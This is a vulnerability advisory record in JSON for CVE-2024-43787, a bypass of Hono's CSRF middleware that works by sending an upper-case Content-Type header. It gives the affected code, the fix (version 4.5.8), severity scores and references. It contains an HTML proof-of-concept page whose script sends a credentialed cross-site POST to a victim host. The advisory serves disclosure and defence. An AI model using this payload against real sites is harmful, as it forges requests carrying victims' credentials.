{"id":"CVE-2024-43787","aliases":["GHSA-rpfr-3m35-5vx5"],"url":"https://o3.security/vulnerability/CVE-2024-43787","summary":"Hono CSRF middleware can be bypassed using crafted Content-Type header","details":"### Summary\n\nHono CSRF middleware can be bypassed using crafted Content-Type header.\n\n### Details\n\nMIME types are case insensitive, but `isRequestedByFormElementRe` only matches lower-case.\n\nhttps://github.com/honojs/hono/blob/b0af71fbcc6dbe44140ea76f16d68dfdb32a99a0/src/middleware/csrf/index.ts#L16-L17\n\nAs a result, attacker can bypass csrf middleware using upper-case form-like MIME type, such as \"Application/x-www-form-urlencoded\".\n\n### PoC\n\n```html\n<html>\n  <head>\n    <title>CSRF Test</title>\n    <script defer>\n      document.addEventListener(\"DOMContentLoaded\", () => {\n        document.getElementById(\"btn\").addEventListener(\"click\", async () => {\n          const res = await fetch(\"http://victim.example.com/test\", {\n            method: \"POST\",\n            credentials: \"include\",\n            headers: {\n              \"Content-Type\": \"Application/x-www-form-urlencoded\",\n            },\n          });\n        });\n      });\n    </script>\n  </head>\n  <body>\n    <h1>CSRF Test</h1>\n    <button id=\"btn\">Click me!</button>\n  </body>\n</html>\n```\n\n### Impact\n\nBypass csrf protection implemented with hono csrf middleware.\n\n### Discussion\n\nI'm not sure that omitting csrf checks for Simple POST request is a good idea.\nCSRF prevention and CORS are different concepts even though CORS can prevent CSRF in some cases.\n","published":"2024-08-22T14:23:44.025Z","modified":"2026-08-12T03:51:47.488525073Z","cvss":{"score":5,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L"},"epss":{"score":0.00244,"percentile":0.15546,"asOf":"2026-09-05"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"hono","fixedVersion":"4.5.8"}],"fix":{"url":"https://github.com/honojs/hono/commit/41ce840379516410dee60c783142e05bb5a22449","label":"honojs/hono@41ce840"},"references":[{"type":"WEB","url":"https://github.com/honojs/hono/blob/b0af71fbcc6dbe44140ea76f16d68dfdb32a99a0/src/middleware/csrf/index.ts#L16-L17"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/43xxx/CVE-2024-43787.json"},{"type":"ADVISORY","url":"https://github.com/honojs/hono/security/advisories/GHSA-rpfr-3m35-5vx5"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-43787"},{"type":"FIX","url":"https://github.com/honojs/hono/commit/41ce840379516410dee60c783142e05bb5a22449"},{"type":"PACKAGE","url":"https://github.com/honojs/hono"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:47.488525073Z"}}